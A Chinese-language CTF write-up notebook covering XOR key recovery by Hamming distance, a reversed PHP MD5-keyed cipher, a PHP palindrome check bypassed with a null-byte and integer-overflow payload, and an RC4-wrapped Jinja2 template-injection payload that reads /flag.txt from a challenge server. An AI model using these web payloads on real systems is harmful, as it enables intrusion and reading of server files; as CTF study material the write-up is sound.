记录密码学刷过的题目

De1ctf2019 xorzz

源码

from itertools import *
#  from data import flag,plain

plain = "dd"
flag = "de1ctf{testflag}"
key=flag.strip("de1ctf{").strip("}")
assert(len(key)<38)

salt="WeAreDe1taTeam"

ki=cycle(key)
si=cycle(salt)

cipher = ''.join([hex(ord(p) ^ ord(next(ki)) ^ ord(next(si))) for p in plain])
print cipher

# output:
# 49380d773440222d1b421b3060380c3f403c3844791b202651306721135b6229294a3c3222357e766b2f15561b35305e3c3b670e49382c295c6c170553577d3a2b791470406318315d753f03637f2b614a4f2e1c4f21027e227a4122757b446037786a7b0e37635024246d60136f7802543e4d36265c3e035a725c6322700d626b345d1d6464283a016f35714d434124281b607d315f66212d671428026a4f4f79657e34153f3467097e4e135f187a21767f02125b375563517a3742597b6c394e78742c4a725069606576777c314429264f6e330d7530453f22537f5e3034560d22146831456b1b72725f30676d0d5c71617d48753e26667e2f7a334c731c22630a242c7140457a42324629064441036c7e646208630e745531436b7c51743a36674c4f352a5575407b767a5c747176016c0676386e403a2b42356a727a04662b4446375f36265f3f124b724c6e346544706277641025063420016629225b43432428036f29341a2338627c47650b264c477c653a67043e6766152a485c7f33617264780656537e5468143f305f4537722352303c3d4379043d69797e6f3922527b24536e310d653d4c33696c635474637d0326516f745e610d773340306621105a7361654e3e392970687c2e335f3015677d4b3a724a4659767c2f5b7c16055a126820306c14315d6b59224a27311f747f336f4d5974321a22507b22705a226c6d446a37375761423a2b5c29247163046d7e47032244377508300751727126326f117f7a38670c2b23203d4f27046a5c5e1532601126292f577776606f0c6d0126474b2a73737a41316362146e581d7c1228717664091c

首先将密文中的盐分去掉。

from itertools import *
from base64 import *

output='49380d773440222d1b421b3060380c3f403c3844791b202651306721135b6229294a3c3222357e766b2f15561b35305e3c3b670e49382c295c6c170553577d3a2b791470406318315d753f03637f2b614a4f2e1c4f21027e227a4122757b446037786a7b0e37635024246d60136f7802543e4d36265c3e035a725c6322700d626b345d1d6464283a016f35714d434124281b607d315f66212d671428026a4f4f79657e34153f3467097e4e135f187a21767f02125b375563517a3742597b6c394e78742c4a725069606576777c314429264f6e330d7530453f22537f5e3034560d22146831456b1b72725f30676d0d5c71617d48753e26667e2f7a334c731c22630a242c7140457a42324629064441036c7e646208630e745531436b7c51743a36674c4f352a5575407b767a5c747176016c0676386e403a2b42356a727a04662b4446375f36265f3f124b724c6e346544706277641025063420016629225b43432428036f29341a2338627c47650b264c477c653a67043e6766152a485c7f33617264780656537e5468143f305f4537722352303c3d4379043d69797e6f3922527b24536e310d653d4c33696c635474637d0326516f745e610d773340306621105a7361654e3e392970687c2e335f3015677d4b3a724a4659767c2f5b7c16055a126820306c14315d6b59224a27311f747f336f4d5974321a22507b22705a226c6d446a37375761423a2b5c29247163046d7e47032244377508300751727126326f117f7a38670c2b23203d4f27046a5c5e1532601126292f577776606f0c6d0126474b2a73737a41316362146e581d7c1228717664091c'

salt="WeAreDe1taTeam"

sa = cycle(salt)
out = output.decode('hex')

res = ""

for i in out:
    res += chr(ord(i) ^ ord(next(sa)))

#  print b64encode(res.encode('hex'))
print b64encode(res)

去掉盐分之后,问题就变成了汉明文密码。原理见博客https://www.anquanke.com/post/id/161171#h2-0 这里直接上脚本了。

# -*- coding: utf-8 -*-

import itertools
import linecache

CHARACTER_FREQ = {
    'a': 0.0651738, 'b': 0.0124248, 'c': 0.0217339, 'd': 0.0349835, 'e': 0.1041442, 'f': 0.0197881, 'g': 0.0158610,
    'h': 0.0492888, 'i': 0.0558094, 'j': 0.0009033, 'k': 0.0050529, 'l': 0.0331490, 'm': 0.0202124, 'n': 0.0564513,
    'o': 0.0596302, 'p': 0.0137645, 'q': 0.0008606, 'r': 0.0497563, 's': 0.0515760, 't': 0.0729357, 'u': 0.0225134,
    'v': 0.0082903, 'w': 0.0171272, 'x': 0.0013692, 'y': 0.0145984, 'z': 0.0007836, ' ': 0.1918182
}

def xor_repeat_key(key,string):
	key_len=len(key)
	result=''
	str_result=''
	for index,ch in enumerate(string):
		n=index%key_len
		b=chr(ord(key[n])^ord(ch))
		str_result+=b
	return str_result

#获得概率分数
def get_score(string):
	score=0
	for char in string:
		char=char.lower()
		if char in CHARACTER_FREQ:
			score+=CHARACTER_FREQ[char]
	return score


#将hex的每个字符与备选密钥进行xor
def single_xor(candidate_key,hex_string):
	result=""
	for i in hex_string:
		b=chr(candidate_key^ord(i))
		result+=b
	return result

#遍历备选密钥
def Traversal_singlechar(hex_string):
	candidate=[]
	for candidate_key in range(256):
		plaintext=single_xor(candidate_key,hex_string)
		score=get_score(plaintext)
		result={
		'score':score,
		'plaintext':plaintext,
		'key':candidate_key
		}
		candidate.append(result)
	return sorted(candidate,key=lambda c:c['score'])[-1]


def hamming_distance(a_str,b_str):
	dist=0
	for x,y in zip(a_str,b_str):
		b=bin(ord(x)^ord(y)) #转换为二进制(以字符串形式表示,如“0b100000”,0b表示二进制)
		dist+=b.count('1')
	return dist

def guess_keysize(string):
	normals=[]
	for keysize in range(2,40):
		blocks=[]
		cnt=0
		distance=0
		#根据建议获得四个block,将这四个block两两得到hamming_distance。
		for i in range(0,len(string),keysize):
			cnt+=1
			blocks.append(string[i:i+keysize])
			if cnt==4:
				break
		pairs=itertools.combinations(blocks,2)
		for (x,y) in pairs:
			distance+=hamming_distance(x,y)
		#平均一下
		distance=distance/(6.0)
		#Normalize this result by dividing by KEYSIZE.
		normal_distance=distance/keysize
		key={
		'keysize':keysize,
		'distance':normal_distance
		}
		normals.append(key)
		#print key
	#选3个最小的为待选的keysize
	candidate_keysize=sorted(normals,key=lambda c:c['distance'])[0:3]
	return candidate_keysize

def guess_key(keysize,string):
	now_str=''
	key=''
	for i in range(keysize):
		now_str=''
		for index,ch in enumerate(string):
			if index%keysize==i:
				now_str+=ch
		#获得key的第i位的值,转换为字符
		#print now_str
		key+=chr(Traversal_singlechar(now_str)['key'])
	return key

def get_plaint(string):
	keysize_list=guess_keysize(string)
	candidate_key=[]
	possible_plaints=[]
	for keysize in keysize_list:
		key=guess_key(keysize['keysize'],string)
		#print key
		possible_plaints.append((xor_repeat_key(key,string),key))

	'''
	for i in possible_plaints:
		print i[1]
		print get_score(i[0].decode('hex'))
		print len(i[0])
		print i[0].decode('hex')
	'''
	
	return sorted(possible_plaints,key=lambda c:get_score(c[0]))[-1]


def main():
	assert hamming_distance('this is a test', 'wokka wokka!!!') == 37
	contents=open('6.txt').read()
	#base64解码
	string=str(contents).decode('base64')
	result=get_plaint(string)
	print result[0]
	print result[1]

if __name__ == '__main__':
	main()

6.txt中的内容是去盐分之后的密文base64之后的内容。

再附上hctf2018中天枢的脚本

import string

def bxor(a, b):     # xor two byte strings of different lengths
    if len(a) > len(b):
        return bytes([x ^ y for x, y in zip(a[:len(b)], b)])
    else:
        return bytes([x ^ y for x, y in zip(a, b[:len(a)])])


def hamming_distance(b1, b2):
    differing_bits = 0
    for byte in bxor(b1, b2):
        differing_bits += bin(byte).count("1")
    return differing_bits


def break_single_key_xor(text):
    key = 0
    possible_space=0
    max_possible=0
    letters = string.ascii_letters.encode('ascii')
    for a in range(0, len(text)):
        maxpossible = 0
        for b in range(0, len(text)):
            if(a == b):
                continue
            c = text[a] ^ text[b]
            if c not in letters and c != 0:
                continue
            maxpossible += 1
        if maxpossible>max_possible:
            max_possible=maxpossible
            possible_space=a
    key = text[possible_space]^ 0x20
    return chr(key)


text = ''
with open("6.txt","r") as f:
    for line in f:
        text += line
#  b = base64.b64decode(text)
    b = text


normalized_distances = []


for KEYSIZE in range(2, 40):
    b1 = b[: KEYSIZE]
    b2 = b[KEYSIZE: KEYSIZE * 2]
    b3 = b[KEYSIZE * 2: KEYSIZE * 3]
    b4 = b[KEYSIZE * 3: KEYSIZE * 4]
    b5 = b[KEYSIZE * 4: KEYSIZE * 5]
    b6 = b[KEYSIZE * 5: KEYSIZE * 6]

    normalized_distance = float(
        hamming_distance(b1, b2) +
        hamming_distance(b2, b3) +
        hamming_distance(b3, b4) +
        hamming_distance(b4, b5) + 
        hamming_distance(b5, b6) 
    ) / (KEYSIZE * 5)
    normalized_distances.append(
        (KEYSIZE, normalized_distance)
    )
normalized_distances = sorted(normalized_distances,key=lambda x:x[1])


for KEYSIZE,_ in normalized_distances[:5]:
    block_bytes = [[] for _ in range(KEYSIZE)]
    for i, byte in enumerate(b):
        block_bytes[i % KEYSIZE].append(byte)
    keys = ''
    try:
        for bbytes in block_bytes:
            keys += break_single_key_xor(bbytes)
        key = bytearray(keys * len(b), "utf-8")
        plaintext = bxor(b, key)
        print("keysize:", KEYSIZE)
        print("key is:", keys, "n")
        s = bytes.decode(plaintext)
        print(s)
    except Exception:
        continue

MD5

PHP_encrypto_1

source code:::


<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) {
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>//the result is fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

solving:

<?php
    #'ISCC'md5之后的结果
    $mkey ='729623334f0aa2784a1599fd374c120d';
    $target='fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=';
    $target=base64_decode($target);

    $target_ay=array();

    for ($i=0;$i<strlen($target);$i++) {
        echo ord($target[$i]).' ';
        array_push($target_ay,ord($target[$i]));
    }
    echo "||||||||";
    $j=0;
    $realkey_ay=array();
    for ($i=0;$i<strlen($target);$i++){
        if ($j==strlen($mkey)){
            $j=0;
        }

        echo ord($mkey[$j]).' ';
        array_push($realkey_ay,ord($mkey[$j]));
        $j++;
    }
    $flag1='';
    $flag2='';
    foreach($target_ay as $key=>$value){
        $i=$key;
        $dd=$value;
        $od=$realkey_ay[$i];
        $flag1.=chr($dd+128-$od);
        $flag2.=chr($dd-$od);
    }
    echo $flag1;
    echo $flag2;
?>

other

shiyanbar do you really know php?(plalindrome)


<?php


$info = "";
$req = [];
$flag="xxxxxxxxxx";

ini_set("display_error", false);
error_reporting(0);


if(!isset($_POST['number'])){
   header("hint:6c525af4059b4fe7d8c33a.txt");

   die("have a fun!!");
}

foreach([$_POST] as $global_var) {
    foreach($global_var as $key => $value) {
        $value = trim($value);
        is_string($value) && $req[$key] = addslashes($value);
    }
}

function is_palindrome_number($number) {
    $number = strval($number);
    $i = 0;
    $j = strlen($number) - 1;
    while($i < $j) {
        if($number[$i] !== $number[$j]) {
            return false;
        }
        $i++;
        $j--;
    }
    return true;
}

//can not input number
if(is_numeric($_REQUEST['number'])){

   $info="sorry, you cann't input a number!";

//the number must be int-type
}elseif($req['number']!=strval(intval($req['number']))){

     $info = "number must be equal to it's integer!! ";

}else{

     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));

//the number should be plalindrome
     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }else{

//the number should not be plalindrome
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!";
          }else{
             $info=$flag;
          }
     }

}

echo $info;
?>

payload :2147483647%00

first: as there is %00, is_numeric() will not recognize it as number

second: both strval and intval will ignore %00 and %20

third: after strrev() 2147483647 will turn to 7463847412 , however, intval() can hanle max num of 2147483647, so intval(7463847412)=2147483647

forth: the number is not plalindrome,so get the flag

RC4

rc4: 加密和解密都是同一个流程

import urllib
import requests

url = "http://43141291-ab15-4d3a-a236-3c2c0fd69898.node3.buuoj.cn/secret?secret="

class RC4:
    def __init__(self, key):
        self.key = key
        self.key_length = len(key)
        self._init_S_box()
 
    def _init_S_box(self):
        self.Box = [i for i in range(256)]
        k = [self.key[i % self.key_length] for i in range(256)]
        j = 0
        for i in range(256):
            j = (j + self.Box[i] + ord(k[i])) % 256
            self.Box[i], self.Box[j] = self.Box[j], self.Box[i]
 
    def crypt(self, plaintext):
        i = 0
        j = 0
        result = ''
        for ch in plaintext:
            i = (i + 1) % 256
            j = (j + self.Box[i]) % 256
            self.Box[i], self.Box[j] = self.Box[j], self.Box[i]
            t = (self.Box[i] + self.Box[j]) % 256
            result += chr(self.Box[t] ^ ord(ch))
        return result

a = RC4('HereIsTreasure')
cmd = "{{ [].__class__.__base__.__subclasses__()[40]('/flag.txt').read() }}"
payload = urllib.parse.quote(a.crypt(cmd))
res = requests.get(url + payload)
print(res.text)